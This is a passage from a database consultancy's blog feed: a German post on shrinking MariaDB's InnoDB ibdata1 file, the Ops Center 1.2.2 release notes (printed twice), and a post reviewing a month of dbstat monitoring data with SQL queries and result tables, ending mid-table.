$ ll -h ibdata1 test/* -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/#sql-alter-dca30-12.frm -rw-rw---- 1 mysql mysql 696M Jun 12 14:01 test/#sql-alter-dca30-12.ibd -rw-rw---- 1 mysql mysql 1.1K Jun 12 13:56 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:02 test/test.ibd

Wir haben jetzt also einmal die Daten aber doppelte so viel Platz verbraucht.

Und wie kann man den System-Tablespace wieder verkleinern?

Diese Information ist leider etwas versteck und muss aus der Dokumentation und den MariaDB Jira Issues (siehe Literatur) zusammengesucht werden:

SQL> SET GLOBAL innodb_fast_shutdown=0; SQL> SHUTDOWN;

Beim Herunterfahren sieht man die entsprechenden Einträge im MariaDB Error Log:

[Note] bin/mariadbd (initiated by: root[root] @ localhost []): Normal shutdown [Note] InnoDB: FTS optimize thread exiting. [Note] InnoDB: Truncating system tablespace from 90880 to 768 pages [Note] InnoDB: System tablespace truncated successfully [Note] InnoDB: Starting shutdown... [Note] InnoDB: Dumping buffer pool(s) to /home/mysql/database/mariadb-114/data/ib_buffer_pool [Note] InnoDB: Restricted to 2016 pages due to innodb_buf_pool_dump_pct=25 [Note] InnoDB: Buffer pool(s) dump completed at 240612 14:11:11 [Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1" [Note] InnoDB: Shutdown completed; log sequence number 4011132308; transaction id 139 [Note] bin/mariadbd: Shutdown complete

Und wenn man sich die Datei ibdata1 danach auf Platte anschaut, ist sie wieder so klein wie zu Beginn des Experiments:

$ ll ibdata1* -h -rw-rw---- 1 mysql mysql 12M Jun 12 14:11 ibdata1
Literatur

Siehe auch:

UNDO logs in InnoDB system tablespace ibdata1
Shrinking InnoDB system tablespace file ibdata1 PoC
Who else is using my memory - File System Cache analysis
InnoDB system tablespace cannot be shrunk (MDEV-14795)
ibdata1 shrinking (MDEV-31462)
InnoDB System Tablespaces - Decreasing the Size

Taxonomy upgrade extras: innodb tablespace ibdata1

Categories: FromDual all (de), FromDual TechFeed (de)

FromDual Ops Center 1.2.2 for MariaDB and MySQL databases has been released

Shinguz - Mon, 2024-04-29 17:41

FromDual is pleased to announce the release of the new version 1.2.2 of the popular FromDual Ops Center focmm, a Graphical User Interface (GUI) for MariaDB, MySQL and compatible databases.

The FromDual Ops Center for MariaDB and MySQL (focmm) helps DBAs and system administrators to better manage their MariaDB and MySQL databases and Galera Cluster farms. Ops Center makes life easier for DBAs and Admins!

The main purpose of the Ops Center is to help you with your daily MariaDB and MySQL operations. More information about FromDual Ops Center can be found in the General Information section.

Download now

The new FromDual Ops Center for MariaDB and MySQL (focmm) can be downloaded from our download page. How to install and use focmm is documented in the Ops Center User Guide.

In the unlikely event that you find a bug in the FromDual Ops Center for MariaDB and MySQL please report it to the FromDual bug tracker or just send us an email.

Any feedback, comments and testimonials are also welcome! Please send them to feedback@fromdual.com.

Installing Ops Center 1.2.2

Information on how to install FromDual Ops Center can be found in the Ops Center User Guide.

Upgrading from 0.9.x to 1.2.2

The upgrade from 0.9.x to 1.2.2 should be automatic. Please make a backup of your Ops Center database instance before upgrading! See also Upgrading.

Important: In some cases the directory focmm/tmp/start_jobs.lock is missing. In this case jobs will not start. Please check the log file under focmm/log/start_jobs.log and create the folder accordingly. There should also be a file called pid in this folder. Create this file if it does not exist.

Downgrading from 1.2.2

Downgrading from 1.2.2 to 1.2.1 should work.

Changes in Ops Center 1.2.2 Machine

Machine information is automatically gathered after first successful check now.
Machine function calls optimized.
Ssh key check added for machine.
Some tests around machine library added.
Function createPublicKey + page refactored.
Copy of ssh key and ssh command implemented.
Skip machines which are down during gathering resource costs.
Error message in pricing when adding a new machine was fixed.

Instance

Instance operations are now faster when instance is running but not reachable.
Node check improved in cluster and instance, works now also correctly on multi instance environments.
PID file is gathered now.
Stop instance on instance operations improved if a Galera cluster node.
Instance is now checked immediately after start or restart and checks are set to failed after instance stop. So the instance state is more appropriate and in time now.
Link added to read_only variable comment.
Instance is shown orange when ping check was not run yet. This is fixed now.
Error log gathering improved in instance operations.
If mysql_upgrade_info file is missing error is suppressed now.
Gather instance information is done now right after the first successful check.
Check database_ping was removed from general instance tests to avoid noise in the database error log.
Check instance_ping_check removed from instanceTest to avoid error log messages on a regular base, wondering what kind of impact this has...
innodb_log_writer_threads rule added to instance configuration.
Target connect function error logging improved.
Continue button is handled correctly now when stopping, starting or restarting an instance.
Instance operations location of error log is shown now.
Refactored instance operations code for moving Galera buttons out.
Function refreshInstance refactored because we need this information for Galera Cluster.
Unknown array_keys error message fixed in instance.
Foreign MariaDB/MySQL repositories should now be considered as well.
Optimized instance handling.
Instance error log handling can now handle systemd/journalctl.
Instance hardening when creating instance improved.
Create instance improved.
Create instance bug fixed.
Instance create on Rocky 9, fixed.
Create instance for Rocky 8 improved.
Check for restart also removed, so also restart works now.
Check removed to allow a running but not reachable instance to be restarted, restart and start button added.
Non existing configuration was not handled correctly, fixed.
Edit instance placeholder added and default instance name changed from mysqld to mariadbd.
Create instance output made nicer in case of failure.

Cluster

Cluster overview signal lights are also working now for Galera.
Cluster operations returns faster now if machine is not reachable.
Cluster show checks non important information removed.
Cluster checks in menu are now shown correctly.
grastate.dat async check added.
Cluster check made async.
Instance state added to cluster operations and check view.
M/S cluster tests made more robust against strange situations.
Some bugs in M/S cluster fixed.
focmm user passwords should sync in galera.
Bootstrap should distribute focmm user on all nodes.
Bootstrap on Debian fixed again.
Error message for missing grastate.dat file is suppressed now.
Deploy configuration button is now on a new line.
2 little bugs in M/S cluster operations removed.
Instance operations improved with Galera clusters.
Soft bootstrap implemented.
Cluster node bootstrap, start stop fixed.
Function bootstrap implemented.
Async rolling cluster restart added.
Problem with rolling restart fixed.
Cluster check and operations is read if not OK. Failed, same behaviour as before!
Rolling cluster restart and other buttons added to cluster operations.
Variable wsrep_node_name is set to instance name per default.
Galera cluster config deployment made smoother and fixed bug.
Sort order of cluster nodes and title of table clarified.
Page start/stop notices added to cluster.php.
Indention problem in function getClusterChecks fixed.

Load Balancer

Terms load-balancer and loadbalancer replaced by load balancer.
User radmin added for ProxySQL monitoring.
Socket default for HAproxy changed to the new standards.

Virtual IP (VIP)/Floating IP

Status grey image does not exist in vip_show_checks, fixed.

Tools

Crontab: Missing library in check_instances.php added.
Crontab: html tags removed in mail.
Crontab: Error messages and error handling in crontab and start jobs improved, lock file directory is created automatically now.

Configuration

No changes.

Database-as-a-Service (DBaaS)

No changes.

Building and Packaging

Bulid moved to MyEnv project.
Missing Rocky Linux branch added.
Package redhat-lsb-core does not exist on Rocky 9 any more, spec file adapted.
Package build test fixed.

Themes / UI

jquery updated from 3.6.3 to 3.7.1

General

Modification for license key automation added.
Package installation ssh-keygen is only called if key does not exist. So upgrade should work without error/warning.
Some tests fixed, bug in createPublicKey fixed.
Function listRemoteDirectory does not write needlessly error messages any more.
HTML tag placeholder added for add function, add object and save object made more error prone.
Variable tx_isolation replaced by transaction_isolation which was deprecated in MariaDB 11.2 and MySQL 5.7.
Code clean-up.
Some menu items opened a new tab which was not intended. Fixed.
Field naming made consistent.
Error handling and error messages improved.
Message downgraded from ERROR to DEBUG.
Function runRemoteCommand will return an error code again when going_back_to functionality implemented.
Function renderDropDown newline was removed.
Function renderSubmitButton accepts a title now.
Function runRemoteCommand can suppress error logging now.
Command apt-get replaced by apt.
Distribution information refactored.
Function whoami cleaned-up.
PHP 8.0 function calls removed again because of Debian 10/11 support.
User interaction made unique among all 5 different objects.
Redundant DEBUG information removed.
Configuration file was removed again when not needed any more (clean-up).
Command yum replaced by dnf, also apt-get partly.
Command which replaced by type -p to make it Rocky 9 compliant.
Some more lsb_release stuff removed.
myEnv.inc library updated, lsb_release removed.
Dead code message added.

Repository

No changes.

Documentation

Version changed from 1.2.0 to 1.2.1 and TLS conflict on ubuntu 22.04 fixed.
Build automatized.
Documentation for M/S updated.
All text taken over from CMS.
Load balancer documentation added.

Taxonomy upgrade extras: Operations release FromDual Ops Center ops center dbaas focmm

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

FromDual Ops Center 1.2.2 for MariaDB and MySQL databases has been released

Shinguz - Mon, 2024-04-29 17:41

FromDual is pleased to announce the release of the new version 1.2.2 of the popular FromDual Ops Center focmm, a Graphical User Interface (GUI) for MariaDB, MySQL and compatible databases.

The FromDual Ops Center for MariaDB and MySQL (focmm) helps DBAs and system administrators to better manage their MariaDB and MySQL databases and Galera Cluster farms. Ops Center makes life easier for DBAs and Admins!

The main purpose of the Ops Center is to help you with your daily MariaDB and MySQL operations. More information about FromDual Ops Center can be found in the General Information section.

Download now

The new FromDual Ops Center for MariaDB and MySQL (focmm) can be downloaded from our download page. How to install and use focmm is documented in the Ops Center User Guide.

In the unlikely event that you find a bug in the FromDual Ops Center for MariaDB and MySQL please report it to the FromDual bug tracker or just send us an email.

Any feedback, comments and testimonials are also welcome! Please send them to feedback@fromdual.com.

Installing Ops Center 1.2.2

Information on how to install FromDual Ops Center can be found in the Ops Center User Guide.

Upgrading from 0.9.x to 1.2.2

The upgrade from 0.9.x to 1.2.2 should be automatic. Please make a backup of your Ops Center database instance before upgrading! See also Upgrading.

Important: In some cases the directory focmm/tmp/start_jobs.lock is missing. In this case jobs will not start. Please check the log file under focmm/log/start_jobs.log and create the folder accordingly. There should also be a file called pid in this folder. Create this file if it does not exist.

Downgrading from 1.2.2

Downgrading from 1.2.2 to 1.2.1 should work.

Changes in Ops Center 1.2.2 Machine

Machine information is automatically gathered after first successful check now.
Machine function calls optimized.
Ssh key check added for machine.
Some tests around machine library added.
Function createPublicKey + page refactored.
Copy of ssh key and ssh command implemented.
Skip machines which are down during gathering resource costs.
Error message in pricing when adding a new machine was fixed.

Instance

Instance operations are now faster when instance is running but not reachable.
Node check improved in cluster and instance, works now also correctly on multi instance environments.
PID file is gathered now.
Stop instance on instance operations improved if a Galera cluster node.
Instance is now checked immediately after start or restart and checks are set to failed after instance stop. So the instance state is more appropriate and in time now.
Link added to read_only variable comment.
Instance is shown orange when ping check was not run yet. This is fixed now.
Error log gathering improved in instance operations.
If mysql_upgrade_info file is missing error is suppressed now.
Gather instance information is done now right after the first successful check.
Check database_ping was removed from general instance tests to avoid noise in the database error log.
Check instance_ping_check removed from instanceTest to avoid error log messages on a regular base, wondering what kind of impact this has...
innodb_log_writer_threads rule added to instance configuration.
Target connect function error logging improved.
Continue button is handled correctly now when stopping, starting or restarting an instance.
Instance operations location of error log is shown now.
Refactored instance operations code for moving Galera buttons out.
Function refreshInstance refactored because we need this information for Galera Cluster.
Unknown array_keys error message fixed in instance.
Foreign MariaDB/MySQL repositories should now be considered as well.
Optimized instance handling.
Instance error log handling can now handle systemd/journalctl.
Instance hardening when creating instance improved.
Create instance improved.
Create instance bug fixed.
Instance create on Rocky 9, fixed.
Create instance for Rocky 8 improved.
Check for restart also removed, so also restart works now.
Check removed to allow a running but not reachable instance to be restarted, restart and start button added.
Non existing configuration was not handled correctly, fixed.
Edit instance placeholder added and default instance name changed from mysqld to mariadbd.
Create instance output made nicer in case of failure.

Cluster

Cluster overview signal lights are also working now for Galera.
Cluster operations returns faster now if machine is not reachable.
Cluster show checks non important information removed.
Cluster checks in menu are now shown correctly.
grastate.dat async check added.
Cluster check made async.
Instance state added to cluster operations and check view.
M/S cluster tests made more robust against strange situations.
Some bugs in M/S cluster fixed.
focmm user passwords should sync in galera.
Bootstrap should distribute focmm user on all nodes.
Bootstrap on Debian fixed again.
Error message for missing grastate.dat file is suppressed now.
Deploy configuration button is now on a new line.
2 little bugs in M/S cluster operations removed.
Instance operations improved with Galera clusters.
Soft bootstrap implemented.
Cluster node bootstrap, start stop fixed.
Function bootstrap implemented.
Async rolling cluster restart added.
Problem with rolling restart fixed.
Cluster check and operations is read if not OK. Failed, same behaviour as before!
Rolling cluster restart and other buttons added to cluster operations.
Variable wsrep_node_name is set to instance name per default.
Galera cluster config deployment made smoother and fixed bug.
Sort order of cluster nodes and title of table clarified.
Page start/stop notices added to cluster.php.
Indention problem in function getClusterChecks fixed.

Load Balancer

Terms load-balancer and loadbalancer replaced by load balancer.
User radmin added for ProxySQL monitoring.
Socket default for HAproxy changed to the new standards.

Virtual IP (VIP)/Floating IP

Status grey image does not exist in vip_show_checks, fixed.

Tools

Crontab: Missing library in check_instances.php added.
Crontab: html tags removed in mail.
Crontab: Error messages and error handling in crontab and start jobs improved, lock file directory is created automatically now.

Configuration

No changes.

Database-as-a-Service (DBaaS)

No changes.

Building and Packaging

Bulid moved to MyEnv project.
Missing Rocky Linux branch added.
Package redhat-lsb-core does not exist on Rocky 9 any more, spec file adapted.
Package build test fixed.

Themes / UI

jquery updated from 3.6.3 to 3.7.1

General

Modification for license key automation added.
Package installation ssh-keygen is only called if key does not exist. So upgrade should work without error/warning.
Some tests fixed, bug in createPublicKey fixed.
Function listRemoteDirectory does not write needlessly error messages any more.
HTML tag placeholder added for add function, add object and save object made more error prone.
Variable tx_isolation replaced by transaction_isolation which was deprecated in MariaDB 11.2 and MySQL 5.7.
Code clean-up.
Some menu items opened a new tab which was not intended. Fixed.
Field naming made consistent.
Error handling and error messages improved.
Message downgraded from ERROR to DEBUG.
Function runRemoteCommand will return an error code again when going_back_to functionality implemented.
Function renderDropDown newline was removed.
Function renderSubmitButton accepts a title now.
Function runRemoteCommand can suppress error logging now.
Command apt-get replaced by apt.
Distribution information refactored.
Function whoami cleaned-up.
PHP 8.0 function calls removed again because of Debian 10/11 support.
User interaction made unique among all 5 different objects.
Redundant DEBUG information removed.
Configuration file was removed again when not needed any more (clean-up).
Command yum replaced by dnf, also apt-get partly.
Command which replaced by type -p to make it Rocky 9 compliant.
Some more lsb_release stuff removed.
myEnv.inc library updated, lsb_release removed.
Dead code message added.

Repository

No changes.

Documentation

Version changed from 1.2.0 to 1.2.1 and TLS conflict on ubuntu 22.04 fixed.
Build automatized.
Documentation for M/S updated.
All text taken over from CMS.
Load balancer documentation added.

Taxonomy upgrade extras: Operations release FromDual Ops Center ops center dbaas focmm

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

dbstat for MariaDB after one month of productive use

Shinguz - Fri, 2024-04-26 14:13

Table of contents

Review
One month later
Size of the tables
Process list
Global variables
Metadata Lock and InnoDB Transaction Lock
Global status

Review

After we introduced dbstat for MariaDB (and MySQL) a good 5 weeks ago, we naturally also rolled it out on our systems to test the behaviour in daily use (eat your own dog food).

This went quite well until we came up with the idea of activating dbstat on the passive dbstat node on our MariaDB active/passive master/master replication cluster (a similar situation would also occur with a Galera cluster). We realised that the design of dbstat still had potential. After this problem was fixed (v0.0.2 and v0.0.3) and the problem of how to activate events on master AND slave was solved (MDEV-33782: Event is always disabled on slave), everything seemed fine at first glance. Unfortunately, we did not realise that the data also had to be adjusted. As a result, our replication came to a complete stop over the Easter holidays, which then led to another problem when catching up (MDEV-33923: MariaDB parallel replication causes Foreign Key errors).

After this minor incident was also resolved, dbstat has been running flawlessly on our MariaDB master/master replication cluster ever since... The product dbstat is open source (GPLv2) and can be downloaded from GitHub.

One month later

Databases should NOT grow over time but only over the number of {customers, products, etc.} once the desired equilibrium (steady state) is reached. In our dbstat installation, we have set this equilibrium state to 30 days. So it is now time that the size of dbstat stabilises and the database stops growing...

It would also be interesting to understand what practical use dbstat has. That is why we have now set to work and are trying to analyse the results of dbstat.

Here is an overview of the 11 current running database events:

Firstly, the growth of dbstat itself is interesting. But of course this evaluation can also be carried out for any other database, table or catalogue (coming in MariaDB 11.7?):

SQL> SET SESSION sql_mode='STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION,only_full_group_by'; SQL> SET @machine_name = @@hostname; SQL> SELECT `table_schema`, SUBSTR(`ts`, 1, 10) AS date , ROUND(SUM(`data_length`)/1024/1024, 1) AS data_mb , ROUND(SUM(`index_length`)/1024/1024, 1) AS index_mb , ROUND(SUM(`data_free`)/1024/1024, 1) AS free_mb , ROUND((SUM(`data_length`) + SUM(`index_length`) + SUM(`data_free`))/1024/1024, 1) AS total_mb , ROUND(SUM(`table_rows`)/1000/1000, 1) AS rows_m FROM `table_size` WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' GROUP BY `table_catalog`, `table_schema`, `date` ORDER BY `table_catalog`, `table_schema`, `date` ASC ; +--------------+------------+---------+----------+---------+----------+--------+ | table_schema | date | data_mb | index_mb | free_mb | total_mb | rows_m | +--------------+------------+---------+----------+---------+----------+--------+ | dbstat | 2024-03-26 | 762.8 | 1128.6 | 18.0 | 1909.4 | 10.9 | | dbstat | 2024-03-27 | 835.8 | 1241.6 | 17.0 | 2094.4 | 11.1 | | dbstat | 2024-03-28 | 837.8 | 1241.6 | 14.0 | 2093.4 | 11.8 | | dbstat | 2024-03-29 | 960.7 | 1443.6 | 18.0 | 2422.4 | 14.2 | | dbstat | 2024-03-30 | 960.7 | 1443.6 | 17.0 | 2421.4 | 15.0 | | dbstat | 2024-03-31 | 1057.7 | 1604.6 | 20.0 | 2682.4 | 16.9 | | dbstat | 2024-04-01 | 1057.7 | 1602.6 | 21.0 | 2681.4 | 17.6 | | dbstat | 2024-04-02 | 1172.7 | 1797.6 | 22.0 | 2992.3 | 17.8 | | dbstat | 2024-04-03 | 1442.8 | 2333.7 | 12.0 | 3788.5 | 22.8 | | dbstat | 2024-04-04 | 1649.8 | 2723.7 | 13.0 | 4386.5 | 24.4 | | dbstat | 2024-04-05 | 1649.8 | 2722.7 | 14.0 | 4386.5 | 26.0 | | dbstat | 2024-04-06 | 1821.8 | 3034.8 | 13.0 | 4869.6 | 24.6 | | dbstat | 2024-04-07 | 1821.8 | 3034.8 | 14.0 | 4870.6 | 26.2 | | dbstat | 2024-04-08 | 1989.9 | 3344.8 | 12.0 | 5346.6 | 29.9 | | dbstat | 2024-04-09 | 1990.9 | 3343.8 | 14.0 | 5348.6 | 31.5 | | dbstat | 2024-04-10 | 2193.9 | 3712.8 | 13.0 | 5919.7 | 31.6 | | dbstat | 2024-04-11 | 2193.9 | 3712.8 | 15.0 | 5921.7 | 31.1 | | dbstat | 2024-04-12 | 2405.8 | 4119.1 | 12.0 | 6537.0 | 34.9 | | dbstat | 2024-04-13 | 2405.8 | 4119.1 | 14.0 | 6538.9 | 35.7 | | dbstat | 2024-04-14 | 2480.8 | 4278.9 | 15.0 | 6774.8 | 36.2 | | dbstat | 2024-04-15 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 37.5 | | dbstat | 2024-04-16 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 38.2 | | dbstat | 2024-04-17 | 2640.8 | 4610.6 | 18.0 | 7269.4 | 38.5 | | dbstat | 2024-04-18 | 2640.9 | 4611.6 | 14.0 | 7266.5 | 39.7 | | dbstat | 2024-04-19 | 2743.9 | 4826.5 | 14.0 | 7584.3 | 36.9 | | dbstat | 2024-04-20 | 2826.9 | 4995.5 | 14.0 | 7836.4 | 38.3 | | dbstat | 2024-04-21 | 2830.9 | 4997.4 | 18.0 | 7846.3 | 39.2 | | dbstat | 2024-04-22 | 2919.9 | 5177.4 | 14.0 | 8111.3 | 43.2 | | dbstat | 2024-04-23 | 2923.0 | 5177.3 | 16.0 | 8116.3 | 44.1 | | dbstat | 2024-04-24 | 3020.0 | 5376.3 | 16.0 | 8412.3 | 41.0 | | dbstat | 2024-04-25 | 3024.0 | 5377.3 | 17.0 | 8418.3 | 40.9 | +--------------+------------+---------+----------+---------+----------+--------+

If you take the disc space in the O/S for comparison:

# du -shc *.ibd 8.6G global_status.ibd 308K global_variables.ibd 692K metadata_lock.ibd 97M processlist.ibd 18M table_size.ibd 212K trx_and_lck.ibd 8.7G total

you can see that the values from the database are approximately correct (5% error)...

Important: The database dbstat reaches a size of approx. 9 Gbyte after approx. one month on a not particularly large database system.

You can also see that the size of the database is only just stabilising:

If you want to know more precisely which tables are responsible for which part of the data volume, you can also zoom in or drill down into the data:

SQL> SELECT `table_name`, SUBSTR(`ts`, 1, 10) AS date , ROUND(`data_length`/1024/1024, 1) AS data_mb , ROUND(`index_length`/1024/1024, 1) AS index_mb , ROUND(`data_free`/1024/1024, 1) AS free_mb , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024, 1) AS total_mb , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024/8418.26*100, 1) AS pct , ROUND(`table_rows`/1000/1000, 1) AS rows_m FROM `table_size` WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' AND SUBSTR(`ts`, 1, 10) = CURRENT_DATE() ORDER BY rows_m DESC ; +------------------+------------+---------+----------+---------+----------+------+--------+ | table_name | date | data_mb | index_mb | free_mb | total_mb | pct | rows_m | +------------------+------------+---------+----------+---------+----------+------+--------+ | global_status | 2024-04-25 | 2949.9 | 5356.9 | 5.0 | 8311.8 | 98.7 | 40.4 | | processlist | 2024-04-25 | 68.2 | 17.1 | 7.0 | 92.2 | 1.1 | 0.4 | | global_variables | 2024-04-25 | 0.1 | 0.1 | 0.0 | 0.2 | 0.0 | 0.0 | | metadata_lock | 2024-04-25 | 0.4 | 0.2 | 0.0 | 0.6 | 0.0 | 0.0 | | table_size | 2024-04-25 | 5.4 | 3.1 | 5.0 | 13.5 | 0.2 | 0.0 | | trx_and_lck | 2024-04-25 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | +------------------+------------+---------+----------+---------+----------+------+--------+

Note: Please excuse the non-use of the window function!

The only real driver for the data volume of this database is the global_status table. This is to be expected (see: see quantity structure of dbstat).

SQL> SELECT SUBSTR(ts, 1, 10) AS date, table_rows/1000/1000 AS k_rows , ROUND(data_length/1024/1024, 1) AS data_mb, ROUND(index_length/1024/1024, 1) AS index_mb, ROUND(data_free/1024/1024, 1) AS free_mb , ROUND((data_length + index_length + data_free)/1024/1024, 1) AS total_mb FROM table_size WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' AND table_name = 'global_status' AND ts > DATE_SUB(CURRENT_DATE, INTERVAL 10 DAY) ; +------------+-------------+---------+----------+---------+----------+ | date | k_rows | data_mb | index_mb | free_mb | total_mb | +------------+-------------+---------+----------+---------+----------+ | 2024-04-15 | 37.13876300 | 2512.9 | 4433.0 | 4.0 | 6949.9 | | 2024-04-16 | 37.94217200 | 2512.9 | 4433.0 | 4.0 | 6949.9 | + 0M | 2024-04-17 | 38.19867500 | 2592.9 | 4600.0 | 7.0 | 7199.9 | + 250M | 2024-04-18 | 39.39108500 | 2592.9 | 4600.0 | 5.0 | 7197.9 | - 2M | 2024-04-19 | 36.52539600 | 2691.9 | 4813.0 | 5.0 | 7509.8 | + 312M | 2024-04-20 | 37.99073500 | 2770.9 | 4980.9 | 6.0 | 7757.8 | + 248M | 2024-04-21 | 38.79420200 | 2770.9 | 4980.9 | 7.0 | 7758.8 | + 1M | 2024-04-22 | 42.82606200 | 2855.9 | 5158.9 | 6.0 | 8020.8 | + 263M | 2024-04-23 | 43.62953000 | 2855.9 | 5158.9 | 7.0 | 8021.8 | + 1M | 2024-04-24 | 40.54342200 | 2949.9 | 5356.9 | 7.0 | 8313.8 | + 292M | 2024-04-25 | 40.43067700 | 2949.9 | 5356.9 | 5.0 | 8311.8 | - 2M +------------+-------------+---------+----------+---------+----------+

Note: Sorry, I should really familiarise myself with the window functions...

If we analyse the data a bit more closely, we see that the number of rows has slowly stabilised over the last 4 days (note: table_rows is calculated (from the number of blocks and the average row length?) and is not an exact value), but the "amount of data" has continued to increase until yesterday, which is probably due to the fragmentation of the tables and indexes...

The primary key of the global_status table was chosen to optimise the localisation of the data:

PRIMARY KEY (`machine_name`,`variable_name`,`ts`),

The situation should calm down in the next few days. In 2 to 4 weeks we will have to check the situation again.

Summary: I would say that this feature fulfils the requirements and helps to understand the data growth.

List of processes

Since we do not have any serious load issues in our databases, this feature is not that interesting in our case. For example, we can see what a (persistent) connection has done:

SQL> SELECT connection_id, ts, command, time, state, SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) FROM processlist WHERE machine_name = @machine_name AND command != 'Sleep' AND connection_id = @connection_id AND state NOT IN ( 'Waiting for next activation' , 'Master has sent all binlog to slave; waiting for more updates' , 'Waiting for master to send event' , 'Slave has read all relay log; waiting for more updates' ) ORDER BY ts ASC ; +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+ | connection_id | ts | command | time | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) | +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+ | 18 | 2024-04-17 12:30:28 | Query | 0.029 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-17 14:58:28 | Query | 0.009 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-18 06:24:28 | Query | 0.003 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-18 11:34:28 | Query | 0.030 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-18 16:39:28 | Query | 0.006 | Sending data | select itemid,functionid,name,parameter,triggerid from functions | | 18 | 2024-04-18 19:12:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-18 21:49:28 | Query | 0.004 | Writing to net | select i.itemid,i.hostid,i.templateid from items i inner join ho | | 18 | 2024-04-19 00:21:28 | Query | 0.032 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-19 02:59:28 | Query | 0.017 | Writing to net | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-19 05:39:28 | Query | 0.052 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 08:19:28 | Query | 0.000 | Statistics | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 13:26:28 | Query | 0.075 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 15:57:28 | Query | 0.027 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-19 18:33:28 | Query | 0.010 | Sending data | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-19 21:10:28 | Query | 0.008 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-19 23:50:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 02:28:28 | Query | 0.008 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-20 05:08:28 | Query | 0.052 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 07:44:28 | Query | 0.123 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 10:21:28 | Query | 0.144 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 12:55:28 | Query | 0.004 | Sending data | select i.itemid,i.hostid,i.templateid from items i where i.flags | | 18 | 2024-04-20 15:35:28 | Query | 0.092 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 18:12:28 | Query | 0.041 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 20:47:28 | Query | 0.113 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 23:25:28 | Query | 0.101 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 02:03:28 | Query | 0.120 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 04:42:28 | Query | 0.099 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 07:18:28 | Query | 0.015 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 12:32:28 | Query | 0.018 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 15:06:28 | Query | 0.091 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 20:16:28 | Query | 0.012 | Sending data | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-22 06:44:28 | Query | 0.161 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 09:21:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 11:54:28 | Query | 0.020 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 14:23:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 16:59:28 | Query | 0.128 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 22:05:28 | Query | 0.078 | Writing to net | select 